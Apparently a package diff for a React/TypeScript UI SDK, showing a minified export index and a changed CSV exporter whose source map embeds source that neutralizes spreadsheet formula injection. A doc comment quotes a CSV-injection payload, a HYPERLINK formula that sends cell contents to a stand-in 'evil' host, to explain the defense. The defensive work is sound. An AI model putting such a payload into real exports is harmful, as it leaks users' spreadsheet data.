+
import { FormField as pc } from "./forms/FormField.js";
|
|
324
|
+
import { validateForm as mc } from "./forms/validate-form.js";
|
|
325
|
+
import { zodResolver as hc } from "./forms/zod-resolver.js";
|
|
326
|
+
import { useZodForm as gc } from "./forms/use-zod-form.js";
|
|
327
|
+
import { formatCEP as _c, formatCNPJ as vc, unmask as yc, validateCNPJ as bc, validateCPF as xc } from "./forms/br-validators.js";
|
|
328
|
+
import { CEPInput as Sc, CNPJInput as Cc, CPFInput as wc, MoneyInput as Tc, PhoneInput as Ec } from "./forms/masked-inputs.js";
|
|
329
|
+
import { useViaCEP as Dc } from "./forms/use-viacep.js";
|
|
330
|
+
import { Controller as Oc, FormProvider as kc, useFieldArray as Ac, useForm as jc, useFormContext as Mc, useFormState as Nc, useWatch as Pc } from "./forms/index.js";
|
|
331
|
+
import { HEARTBEAT_CLOSE_CODE as Fc, isRejectionCloseCode as Ic } from "./ws/resilience.js";
|
|
332
|
+
import { createWebSocket as Lc } from "./ws/create-web-socket.js";
|
|
333
|
+
import { useWebSocket as Rc } from "./ws/use-web-socket.js";
|
|
334
|
+
import { setTunedLocalDescription as zc, tuneOpus as Bc } from "./webrtc/opus-sdp.js";
|
|
335
|
+
import { setSenderBitrate as Vc } from "./webrtc/sender-bitrate.js";
|
|
336
|
+
import { createLinkStatsSampler as Hc, readAvailableOutgoingKbps as Uc, readQualityLimitation as Wc, readRelayed as Gc, readRoundTripMs as Kc } from "./webrtc/link-stats.js";
|
|
337
|
+
import { useLinkStats as qc } from "./webrtc/use-link-stats.js";
|
|
338
|
+
import { resolveDegradation as Jc, scaleForRoom as Yc } from "./webrtc/mesh-quality.js";
|
|
339
|
+
import { createPeerMesh as Xc } from "./webrtc/peer-mesh.js";
|
|
340
|
+
import { clampLatitude as Zc, isCoordinate as Qc, isValidLatitude as $c, isValidLongitude as el, normalizeLongitude as tl } from "./geo/types.js";
|
|
341
|
+
import { EARTH_RADIUS_KM as nl, bearingDeg as rl, haversineKm as il, pathLengthKm as al, toRadians as ol } from "./geo/distance.js";
|
|
342
|
+
import { DEFAULT_CAR_SPEED_KMH as sl, DEFAULT_CIRCUITY_FACTOR as cl, DEFAULT_MODE_DURATION_FACTORS as ll, estimateTravel as ul } from "./geo/estimate.js";
|
|
343
|
+
import { boundingBox as dl, boundsCenter as fl, expandBounds as pl } from "./geo/bounds.js";
|
|
344
|
+
import { fitProjection as ml, projectMercator as hl, unprojectMercator as gl } from "./geo/projection.js";
|
|
345
|
+
import { createOSRMBackend as _l } from "./geo/routing.js";
|
|
346
|
+
import { createPositionTracker as vl } from "./geo/create-position-tracker.js";
|
|
347
|
+
import { usePositionTracker as yl } from "./geo/use-position-tracker.js";
|
|
348
|
+
import { TrajectoryMap as bl } from "./geo/TrajectoryMap.js";
|
|
349
|
+
import { applyTheme as xl, readThemeToken as Sl } from "./theme/apply-theme.js";
|
|
350
|
+
import { contrastRatio as Cl, createColorScale as wl, hexToOklch as Tl, hexToRgb as El, hexToRgbaString as Dl, oklchToHex as Ol, readableForeground as kl, relativeLuminance as Al, rgbToHex as jl } from "./theme/color.js";
|
|
351
|
+
import { createTheme as Ml, themeContrast as Nl } from "./theme/create-theme.js";
|
|
352
|
+
import { createInverseSurface as Pl } from "./theme/inverse-surface.js";
|
|
353
|
+
import { getThemePreset as Fl, themePresets as Il } from "./theme/theme-presets.js";
|
|
354
|
+
import { getInitialTheme as Ll, themeInitScript as Rl } from "./theme/initial-theme.js";
|
|
355
|
+
import { consoleSink as zl, createLogger as Bl } from "./logger/logger.js";
|
|
356
|
+
import { TelemetryProvider as Vl, useTelemetry as Hl } from "./telemetry/TelemetryProvider.js";
|
|
357
|
+
import { consoleTelemetryAdapter as Ul } from "./telemetry/console-adapter.js";
|
|
358
|
+
import { createSentryTelemetryAdapter as Wl } from "./telemetry/sentry-adapter.js";
|
|
359
|
+
import { createPostHogTelemetryAdapter as Gl } from "./telemetry/posthog-adapter.js";
|
|
360
|
+
import { describeAppError as Kl } from "./telemetry/describe-app-error.js";
|
|
361
|
+
import { createAppErrorReporter as ql } from "./telemetry/app-error-reporter.js";
|
|
362
|
+
import { createAppErrorTelemetryAdapter as Jl } from "./telemetry/app-error-adapter.js";
|
|
363
|
+
import { FeatureFlagsProvider as Yl, useFeatureFlag as Xl, useFlagValue as Zl } from "./feature-flags/FeatureFlagsProvider.js";
|
|
364
|
+
import { createInMemoryFlags as Ql } from "./feature-flags/in-memory-adapter.js";
|
|
365
|
+
import { createGrowthBookFeatureFlagsAdapter as $l } from "./feature-flags/growthbook-adapter.js";
|
|
366
|
+
import { createLaunchDarklyFeatureFlagsAdapter as eu } from "./feature-flags/launchdarkly-adapter.js";
|
|
367
|
+
import { DIVERGING_STEP_COUNT as tu, ORDINAL_START_STEP as nu, SEQUENTIAL_STEP_COUNT as ru, divergingScale as iu, scaleSteps as au, sequentialScale as ou } from "./charts/scales.js";
|
|
368
|
+
import { cachedResponseBytes as su } from "./perf/cache-size.js";
|
|
369
|
+
import { readDeviceProfile as cu } from "./perf/device.js";
|
|
370
|
+
import { formatDurationMs as lu } from "./perf/format.js";
|
|
371
|
+
import { createInferenceProfiler as uu } from "./perf/profiler.js";
|
|
372
|
+
export { Qt as ABSENT_TEXT, ri as AIChat, Zr as AIChatComposer, ni as AIChatTurn, Fr as ALL_BARCODE_FORMATS, Vt as ALL_OPTION_VALUE, ba as API_ERROR_OFFLINE_KEY, xa as API_ERROR_VALIDATION_KEY, wr as AUDIO_MIME_CANDIDATES, io as AccessControlProvider, t as Accordion, n as Alert, i as AppBar, ps as AppProviders, Wo as AppRouter, s as AppShell, c as AspectRatio, Sr as AudioPlayer, Pr as AudioRecorder, Ba as AuthGuard, l as Avatar, u as AvatarGroup, As as BACKGROUND_SYNC_CREDENTIALS_MESSAGE, a as BREAKPOINTS, d as Badge, f as Banner, ci as BarList, Ur as BarcodeScanner, p as BottomNavigation, h as BottomSheet, g as Breadcrumbs, Ko as BrowserRouter, _ as Button, v as ButtonSlot, go as CACHE_TIME, Sc as CEPInput, Cc as CNPJInput, wc as CPFInput, $n as Calendar, so as Can, y as Card, ar as Carousel, b as Center, yr as Chat, _r as ChatBubble, vr as ChatComposer, x as Checkbox, S as ChipInput, In as ClickOutside, An as CodeBlock, qn as Collapsible, w as Combobox, Xn as Command, Ln as ConditionalWrapper, E as ConfirmDialog, B as Container, Jn as ContextMenu, Oc as Controller, kn as CopyButton, Sa as DEFAULT_API_ERROR_STRINGS, Ir as DEFAULT_BARCODE_FORMATS, sl as DEFAULT_CAR_SPEED_KMH, Na as DEFAULT_CHUNK_SIZE, cl as DEFAULT_CIRCUITY_FACTOR, Es as DEFAULT_CREDENTIAL_HEADERS, da as DEFAULT_CSRF_COOKIE_NAME, fa as DEFAULT_CSRF_HEADER_NAME, Ws as DEFAULT_MAX_GAIN, ll as DEFAULT_MODE_DURATION_FACTORS, bn as DEFAULT_PLAYBACK_RATES, Ga as DEFAULT_PUB_KEY_CRED_PARAMS, ye as DEFAULT_PUSH_TO_TALK_KEY, qs as DEFAULT_VOICE_CHAIN, tu as DIVERGING_STEP_COUNT, Vn as DataList, or as DataTable, O as DatePicker, nr as DateRangePicker, Hn as DescriptionList, k as Divider, A as Drawer, j as DropdownMenu, M as Dropzone, nl as EARTH_RADIUS_KM, N as EmptyState, fs as ErrorBoundary, P as ErrorState, zn as ErrorText, Yl as FeatureFlagsProvider, F as FileUpload, pi as FilterBar, wi as FilterPanel, cr as FloatingActionButton, Rn as For, I as Form, L as FormActions, pc as FormField, kc as FormProvider, R as FormRow, z as FormSection, uo as GoogleSignIn, V as Grid, Fc as HEARTBEAT_CLOSE_CODE, qo as HashRouter, Ft as Hide, Yn as HoverCard, Ta as I18nProvider, Bn as Image, mn as ImageCropper, D as Input, X as InstallBanner, Z as InstallButton, mt as Kanban, gt as Kbd, Kn as Label, pr as Lightbox, Jo as Link, sr as ListTile, ti as Markdown, ai as Masonry, Yo as MemoryRouter, ir as Menubar, T as Modal, _t as ModalsProvider, Mn as Money, Tc as MoneyInput, tr as MultiSelect, bt as NProgressBar, Xo as NavLink, yt as Navbar, Zo as Navigate, rr as NavigationMenu, lr as NavigationRail, vn as NotificationCenter, po as OAuthCallbackError, nu as ORDINAL_START_STEP, ct as OfflineIndicator, Qo as Outlet, be as PUSH_TO_TALK_KEYS, wt as Page, Tt as Pagination, Ka as PasskeyError, Et as PasswordInput, Ec as PhoneInput, Ot as PinInput, kt as Popover, C as Portal, At as Progress, Tn as QRCapacityError, On as QRCode, xo as QueryProvider, _o as REFETCH_TIME, jt as Radio, Mt as RadioGroup, Nt as RangeSlider, Pt as RatingStars, dr as RefreshIndicator, jn as RelativeTime, Qn as Resizable, Pa as ResumableUploadSupersededError, Fn as Reveal, $o as Route, Uo as RouteGuard, es as Routes, ru as SEQUENTIAL_STEP_COUNT, vo as STALE_TIME, Lt as SafeArea, gn as Scheduler, Zn as ScrollArea, Rt as SearchBar, St as Section, Ct as SectionHeader, zt as SegmentedControl, Bt as Select, ma as SessionSupersededError, It as Show, Kt as Sidebar, mr as SignaturePad, qt as Skeleton, er as Slider, Jt as Spacer, hn as Sparkline, Yt as Spinner, H as Stack, Xt as Stat, Zt as Stepper, rn as StepperInput, an as Switch, ft as SyncStatusBadge, sn as Table, cn as Tabs, on as Tag, Vl as TelemetryProvider, ha as TempestApiError, Po as TempestDataProvider, ln as Textarea, us as ThemeProvider, ur as TimePicker, un as Timeline, fn as ToastProvider, Un as Toggle, Wn as ToggleGroup, Gn as ToggleGroupItem, dn as Tooltip, oi as Tour, bl as TrajectoryMap, ii as Transfer, Nn as TreeView, Pn as TruncateText, pt as UpdatePrompt, xn as VideoPlayer, Sn as VirtualList, wn as VirtualTable, dt as VisuallyHidden, vs as WebPushClient, ys as WebPushPermissionDeniedError, bs as WebPushUnsubscribeError, xs as WebPushUnsupportedError, fr as Wizard, Gt as activeNavKey, Wr as aiChatStrings, Te as announce, Si as applyFilters, ht as applyKanbanMove, xl as applyTheme, Gi as assertNever, qa as base64UrlToBytes, rl as bearingDeg, Mr as blobToWav, dl as boundingBox, fl as boundsCenter, la as buildApiUrl, si as buildBarListRows, U as buildOpenInChromeIntent, Ja as bytesToBase64Url, su as cachedResponseBytes, ji as camelCase, Mi as capitalize, Li as chunk, $t as clamp, Zc as clampLatitude, Ya as classifyPasskeyError, Ee as clearAnnouncer, js as clearBackgroundSyncQueue, Fs as clearCaches, Ls as clearSessionData, e as cn, Cn as compareValues, Di as compressToString, Oi as compressedStorage, ki as compressedStorageCodec, zl as consoleSink, Ul as consoleTelemetryAdapter, Cl as contrastRatio, ya as createApiClient, ql as createAppErrorReporter, Jl as createAppErrorTelemetryAdapter, Gs as createAudioBus, Rs as createAudioPlayer, Tr as createAudioRecorder, za as createAuthStore, Lr as createBarcodeDetector, wl as createColorScale, Mo as createDataProvider, ms as createEventStream, $l as createGrowthBookFeatureFlagsAdapter, wa as createI18n, Ql as createInMemoryFlags, uu as createInferenceProfiler, Pl as createInverseSurface, Ti as createJsonStorage, eu as createLaunchDarklyFeatureFlagsAdapter, Or as createLevelMeter, Hc as createLinkStatsSampler, Fa as createLocalUploadStorage, Bl as createLogger, Cr as createMediaRecorder, _l as createOSRMBackend, cc as createOfflineDatabase, Ao as createOfflineStore, lc as createOfflineSync, Ds as createPartialResponse, Xa as createPasskeyClient, Xc as createPeerMesh, vl as createPositionTracker, Gl as createPostHogTelemetryAdapter, yo as createQueryKeys, Wa as createRefreshQueue, Ia as createResumableUpload, co as createRoleAccessControl, ls as createSelectors, Wl as createSentryTelemetryAdapter, Hs as createSfxPool, cs as createStore, ro as createTempestAuth, Ml as createTheme, ec as createVideoRecorder, Js as createVoiceChain, Lc as createWebSocket, pa as csrfHeaders, Xi as debounce, Va as decodeJWT, Ai as decompressFromString, Vi as deepMerge, Y as defaultInstallHint, Go as defineRoutes, Ca as describeApiError, Kl as describeAppError, li as describeFilter, iu as divergingScale, sa as downloadCsv, So as emptyOffsetPage, No as encodeIdSegment, En as encodeQR, Nr as encodeWav, Dt as estimatePasswordStrength, et as estimateStorage, ul as estimateTravel, mo as exchangeOAuthCallback, pl as expandBounds, ui as filtersFromSearchParams, Ci as filtersToQueryParams, di as filtersToSearchParams, ml as fitProjection, en as formatBytes, _c as formatCEP, vc as formatCNPJ, mi as formatCPF, tn as formatCompactNumber, hi as formatCurrency, gi as formatDate, _i as formatDateForInput, vi as formatDateTime, yi as formatDateTimeForInput, lu as formatDurationMs, bi as formatPercent, xi as formatPhone, Ma as generateIdempotencyKey, Ll as getInitialTheme, Rr as getSupportedBarcodeFormats, Fl as getThemePreset, Ri as groupBy, il as haversineKm, Tl as hexToOklch, El as hexToRgb, Dl as hexToRgbaString, uc as higherVersionWins, Is as inspectCaches, Ms as installBackgroundSync, Cs as installNotificationClickHandler, Os as installPrecache, ws as installPushHandler, ks as installRuntimeCache, Ts as installSkipWaitingListener, W as isAndroid, G as isAndroidWithoutPromptApi, ga as isApiError, br as isAudioOutputSelectionSupported, Er as isAudioRecordingSupported, zr as isBarcodeDetectionSupported, Za as isConditionalMediationAvailable, Qc as isCoordinate, Co as isCursorPage, Ki as isDefined, Hi as isEmpty, _e as isFullscreenSupported, Gr as isGenerating, K as isIOS, Ha as isJWTExpired, Ar as isMediaCaptureSupported, qi as isNumber, wo as isOffsetPage, Qa as isPasskeySupported, Ji as isPlainObject, $a as isPlatformAuthenticatorAvailable, gs as isPushSupported, Ic as isRejectionCloseCode, _a as isRetriableStatus, ic as isScreenCaptureSupported, ia as isShareSupported, oc as isSpeechRecognitionSupported, q as isStandalone, Yi as isString, ua as isTrustedCredentialTarget, $c as isValidLatitude, el as isValidLongitude, tc as isVideoRecordingSupported, Ys as isVoiceChainIdle, Ni as kebabCase, Kr as lastAssistantId, dc as lastWriteWins, Ua as lazyWithRetry, Io as listQueryKey, Dn as matrixToPath, Zs as measureNoiseFloor, Zi as memoizeOne, $s as monitorVoiceActivity, Xs as monitorVoiceChain, rt as moveItem, Br as normalizeBarcode, tl as normalizeLongitude, xt as nprogress, Ol as oklchToHex, Ui as omit, Qi as once, Lo as oneQueryKey, fi as operatorsFor, Aa as parseResponse, al as pathLengthKm, nn as percentOf, lo as permissionsFromToken, jo as persistQueryClientOffline, Wi as pick, Dr as pickAudioMimeType, nc as pickVideoMimeType, zs as playAudio, Pi as pluralize, hl as projectMercator, Ns as provideBackgroundSyncCredentials, xe as pushToTalkKeyLabel, na as randomId, zi as range, Uc as readAvailableOutgoingKbps, cu as readDeviceProfile, ho as readOAuthCallbackParams, Wc as readQualityLimitation, Gc as readRelayed, Kc as readRoundTripMs, Sl as readThemeToken, kl as readableForeground, hr as receiptLabel, ts as redirect, Ps as registerPeriodicSync, Xe as registerServiceWorker, Al as relativeLuminance, _n as relativeTime, Oo as removeById, tt as requestPersistentStorage, Jc as resolveDegradation, gr as resolveReceiptState, va as retry, jl as rgbToHex, qr as roleLabel, Qr as safeAttachmentUrl, $r as safeImageUrl, ei as safeLinkUrl, Yc as scaleForRoom, au as scaleSteps, ou as sequentialScale, xr as setAudioOutput, r as setDevBuild, Vc as setSenderBitrate, zc as setTunedLocalDescription, aa as share, oa as shareOrDownloadBlob, bo as shouldRetryQuery, Ze as skipWaiting, ea as sleep, Fi as slugify, Bs as stopAudio, Ei as storage, Qs as suggestGateThreshold, Jr as tailSignature, Nl as themeContrast, Rl as themeInitScript, Il as themePresets, $i as throttle, ca as toCsv, Ht as toOptions, ol as toRadians, Ii as truncate, Bc as tuneOpus, Yr as turnTime, Bi as uniqueBy, yc as unmask, gl as unprojectMercator, Qe as unregisterAllServiceWorkers, La as uploadFingerprint, ja as uploadWithProgress, ko as upsertById, _s as urlBase64ToUint8Array, ao as useAccessControl, De as useAnnounce, ce as useAsync, Vs as useAudio, Ks as useAudioBus, kr as useAudioRecorder, Hr as useBarcodeScanner, he as useBeforeInstallPrompt, o as useBreakpoint, oo as useCan, Ke as useClickOutside, ee as useClientFilter, pe as useClipboard, ze as useCountdown, Re as useCounter, Ro as useCreate, Eo as useCursorQuery, Fo as useDataProvider, Q as useDebounce, te as useDeepMemo, zo as useDelete, ka as useDescribeApiError, Ie as useDisclosure, Ve as useDocumentTitle, ue as useDocumentVisibility, re as useDraftFilters, fc as useErrorHandler, ae as useEventListener, hs as useEventStream, He as useFavicon, Xl as useFeatureFlag, Ac as useFieldArray, Zl as useFlagValue, m as useFocusTrap, jc as useForm, Mc as useFormContext, Nc as useFormState, ve as useFullscreen, Ce as useGeolocation, Pe as useHover, Ea as useI18n, ge as useIdle, J as useInstallPrompt, de as useIntersectionObserver, Ae as useInterval, qe as useIsFirstRender, me as useKeyboardShortcut, ne as useLatestRef, qc as useLinkStats, Bo as useList, Le as useListState, oe as useLocalStorage, ns as useLocation, Fe as useLongPress, Ye as useLongPressHandlers, Ue as useMap, rs as useMatch, st as useMediaDevices, ot as useMediaPermission, ie as useMediaQuery, jr as useMicrophone, vt as useModals, is as useNavigate, yn as useNotificationInbox, fo as useOAuthCallback, Je as useObjectUrl, Do as useOfflineMutation, lt as useOfflineSync, Vo as useOne, le as useOnline, Da as useOptionalI18n, To as usePaginatedQuery, $ as usePagination, as as useParams, eo as usePasskeyCapabilities, to as usePasskeyRegistration, no as usePasskeySignIn, Ra as usePoll, yl as usePositionTracker, ke as usePrevious, Ss as usePushSubscription, Se as usePushToTalk, Ge as useQueue, fe as useResizeObserver, os as useRouteError, ac as useScreenCapture, we as useScrollLock, at as useScrollOverflow, ss as useSearchParams, $e as useServiceWorkerUpdate, We as useSet, Us as useSfxPool, it as useSortable, sc as useSpeechRecognition, Oe as useStableCallback, nt as useStorageEstimate, ut as useSyncStatus, Hl as useTelemetry, ds as useTheme, Me as useThrottle, je as useTimeout, pn as useToast, se as useToggle, Vr as useTorch, Oa as useTranslate, Be as useTypewriter, Ho as useUpdate, Dc as useViaCEP, rc as useVideoRecorder, Pc as useWatch, Rc as useWebSocket, Ne as useWindowSize, gc as useZodForm, bc as validateCNPJ, xc as validateCPF, mc as validateForm, Xr as visibleTurns, Ut as withAllOption, Wt as withEmptyOption, ta as withTimeout, ra as writeXlsx, hc as zodResolver };
|
package/dist/utils/csv.cjs
CHANGED
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
const e=require("../share/share-or-download.cjs");var t=``,n=/^[=+\-@\t\r]/,r=/^[+-]?(?:\d+(?:[.,]\d+)*|\d*[.,]\d+)(?:e[+-]?\d+)?$/i;function i(e){return e===`-`||r.test(e)?e:n.test(e)?`'${e}`:e}function
|
|
2
|
-
`)||e.includes(`\r`)?`"${e.replaceAll(`"`,`""`)}"`:e}function
|
|
3
|
-
`)}`}async function
|
|
1
|
+
const e=require("../share/share-or-download.cjs");var t=``,n=/^[=+\-@\t\r]/,r=/^[+-]?(?:\d+(?:[.,]\d+)*|\d*[.,]\d+)(?:e[+-]?\d+)?$/i;function i(e){return e===`-`||r.test(e)?e:n.test(e)?`'${e}`:e}var a=/[,;\t]/;function o(e,t,n){return e.includes(t)||n&&a.test(e)&&!r.test(e)||e.includes(`"`)||e.includes(`
|
|
2
|
+
`)||e.includes(`\r`)?`"${e.replaceAll(`"`,`""`)}"`:e}function s(e,t){return e==null?``:typeof e==`number`||typeof e==`bigint`||typeof e==`boolean`?String(e):e instanceof Date?e.toISOString():t?i(String(e)):String(e)}function c(e,n,r={}){let{delimiter:i=`,`,bom:a=!0,neutralizeFormulas:c=!0}=r,l=[n.map(e=>o(s(e.header,c),i,c)).join(i)];for(let t of e){let e=n.map(e=>o(s(e.csv?e.csv(t):t[e.key],c),i,c));l.push(e.join(i))}return`${a?t:``}${l.join(`\r
|
|
3
|
+
`)}`}async function l(t,n,r=`export.csv`,i={}){let a=new Blob([c(t,n,i)],{type:`text/csv;charset=utf-8`});await e.shareOrDownloadBlob(a,r)}exports.downloadCsv=l,exports.toCsv=c;
|
|
4
4
|
//# sourceMappingURL=csv.cjs.map
|
package/dist/utils/csv.cjs.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"csv.cjs","names":[],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n /** Property of the row this column reads from. Doubles as the column key. */\n key: keyof T;\n /** Column heading, written to the first line. */\n header: string;\n /**\n * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n * empty field.\n *\n * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n * a text file — a badge or a link would serialize as `[object Object]`. Give\n * the column this accessor and the export says what the badge said.\n */\n csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n /**\n * Field separator. Default `\",\"`.\n *\n * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n * which is every pt-BR install — otherwise it opens the file in one column.\n */\n delimiter?: \",\" | \";\";\n /** Prefix the output with a UTF-8 BOM. Default `true`. */\n bom?: boolean;\n /**\n * Prefix `'` to every text field that a spreadsheet would read as a formula.\n * Default `true`.\n *\n * A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the\n * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only\n * `=`), and opening the file evaluates it: a name typed\n * as `=HYPERLINK(\"https://evil/?d=\"&A1,\"ver\")` turns into a link that exfiltrates\n * other cells (OWASP \"CSV Injection\"). Measured on LibreOffice 26.2: `=1+2` was\n * imported as the formula `of:=1+2` with value `3`. The default is the safe one\n * because the BOM and the `;` delimiter already aim the file at a spreadsheet,\n * and because the app that exports rarely controls every value in it.\n *\n * Numbers are never prefixed: a `number` cell, or a text field that is only a\n * number (`\"-5\"`, `\"-1.234,56\"`, `\"+42\"`, `\"1e-7\"`), cannot be a formula, and\n * neither can a lone `\"-\"`, which is left alone too. Pass\n * `false` when the file feeds another system's importer rather than a person's\n * spreadsheet, so the bytes round-trip unchanged.\n */\n neutralizeFormulas?: boolean;\n}\n\n/** First characters that make a spreadsheet read a field as a formula (OWASP). */\nconst FORMULA_TRIGGER = /^[=+\\-@\\t\\r]/;\n\n/**\n * A text field that is only a number, in either decimal convention.\n *\n * These start with `-` or `+` but cannot be formulas, and prefixing them would\n * turn every negative amount in a report into text.\n */\nconst PLAIN_NUMBER = /^[+-]?(?:\\d+(?:[.,]\\d+)*|\\d*[.,]\\d+)(?:e[+-]?\\d+)?$/i;\n\n/**\n * Neutralize a text field a spreadsheet would evaluate.\n *\n * Two shapes are exempt from the OWASP trigger list: a plain number (see\n * {@link PLAIN_NUMBER}) and a lone `-`, the usual \"no value\" placeholder in a\n * report. A lone operator has no operand, so no spreadsheet can evaluate it, and\n * prefixing it printed `'-` in LibreOffice 26.2 where `-` read as text.\n *\n * Measured on LibreOffice 26.2 headless (`--infilter=\"CSV:59,34,76,1\"`) without\n * the prefix: `=1+2` was a formula; `+55 (11) 99999-9999`, `@maria`, a TAB before\n * `=`, a space before `=` and a quoted newline before `=` all stayed text. The\n * list is kept whole anyway — Excel and Google Sheets read `+`, `-`, `@` and TAB\n * as formula starts, and that is what OWASP's list is for. A space or newline\n * before `=` is not added: it read as text, not as a formula.\n *\n * @param value - The already-stringified field.\n * @returns The field with a leading `'` when it would read as a formula.\n */\nfunction neutralizeFormula(value: string): string {\n if (value === \"-\" || PLAIN_NUMBER.test(value)) return value;\n return FORMULA_TRIGGER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. Fields that need\n * none of this are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string): string {\n const mustQuote =\n value.includes(delimiter) ||\n value.includes('\"') ||\n value.includes(\"\\n\") ||\n value.includes(\"\\r\");\n if (!mustQuote) return value;\n return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * Text — a string, or anything else stringified — goes through the formula\n * neutralization when it is on; numbers, bigints and booleans never do, since none\n * of them can stringify to a formula.\n *\n * @param value - The raw cell value.\n * @param neutralize - Whether to neutralize a formula-looking text field.\n * @returns The text to write.\n */\nfunction cellText(value: unknown, neutralize: boolean): string {\n if (value === null || value === undefined) return \"\";\n if (typeof value === \"number\" || typeof value === \"bigint\" || typeof value === \"boolean\") {\n return String(value);\n }\n if (value instanceof Date) return value.toISOString();\n return neutralize ? neutralizeFormula(String(value)) : String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. Text that a spreadsheet would evaluate as a formula is written\n * with a leading `'` unless `neutralizeFormulas` is `false` (see\n * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n * { key: \"name\", header: \"Nome\" },\n * { key: \"email\", header: \"E-mail\" },\n * { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter, BOM and formula neutralization.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n options: CsvOptions = {},\n): string {\n const { delimiter = \",\", bom = true, neutralizeFormulas = true } = options;\n\n const lines = [\n columns\n .map((column) => escapeField(cellText(column.header, neutralizeFormulas), delimiter))\n .join(delimiter),\n ];\n\n for (const row of rows) {\n const cells = columns.map((column) => {\n const raw = column.csv\n ? column.csv(row)\n : (row as Record<string, unknown>)[column.key as string];\n return escapeField(cellText(raw, neutralizeFormulas), delimiter);\n });\n lines.push(cells.join(delimiter));\n }\n\n return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter, BOM and formula neutralization, forwarded to\n * {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n fileName = \"export.csv\",\n options: CsvOptions = {},\n): Promise<void> {\n const blob = new Blob([toCsv(rows, columns, options)], {\n type: \"text/csv;charset=utf-8\",\n });\n await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":"kDAqBA,IAAM,EAAM,IAqDN,EAAkB,eAQlB,EAAe,uDAoBrB,SAAS,EAAkB,EAAuB,CAE9C,OADI,IAAU,KAAO,EAAa,KAAK,CAAK,EAAU,EAC/C,EAAgB,KAAK,CAAK,EAAI,IAAI,IAAU,CACvD,CAaA,SAAS,EAAY,EAAe,EAA2B,CAO3D,OALI,EAAM,SAAS,CAAS,GACxB,EAAM,SAAS,GAAG,GAClB,EAAM,SAAS;CAAI,GACnB,EAAM,SAAS,IAAI,EAEhB,IAAI,EAAM,WAAW,IAAK,IAAI,EAAE,GADhB,CAE3B,CAiBA,SAAS,EAAS,EAAgB,EAA6B,CAM3D,OALI,GAAU,KAAoC,GAC9C,OAAO,GAAU,UAAY,OAAO,GAAU,UAAY,OAAO,GAAU,UACpE,OAAO,CAAK,EAEnB,aAAiB,KAAa,EAAM,YAAY,EAC7C,EAAa,EAAkB,OAAO,CAAK,CAAC,EAAI,OAAO,CAAK,CACvE,CAwBA,SAAgB,EACZ,EACA,EACA,EAAsB,CAAC,EACjB,CACN,GAAM,CAAE,YAAY,IAAK,MAAM,GAAM,qBAAqB,IAAS,EAE7D,EAAQ,CACV,EACK,IAAK,GAAW,EAAY,EAAS,EAAO,OAAQ,CAAkB,EAAG,CAAS,CAAC,CAAC,CACpF,KAAK,CAAS,CACvB,EAEA,IAAK,IAAM,KAAO,EAAM,CACpB,IAAM,EAAQ,EAAQ,IAAK,GAIhB,EAAY,EAHP,EAAO,IACb,EAAO,IAAI,CAAG,EACb,EAAgC,EAAO,KACb,CAAkB,EAAG,CAAS,CAClE,EACD,EAAM,KAAK,EAAM,KAAK,CAAS,CAAC,CACpC,CAEA,MAAO,GAAG,EAAM,EAAM,KAAK,EAAM,KAAK;CAAM,GAChD,CAoBA,eAAsB,EAClB,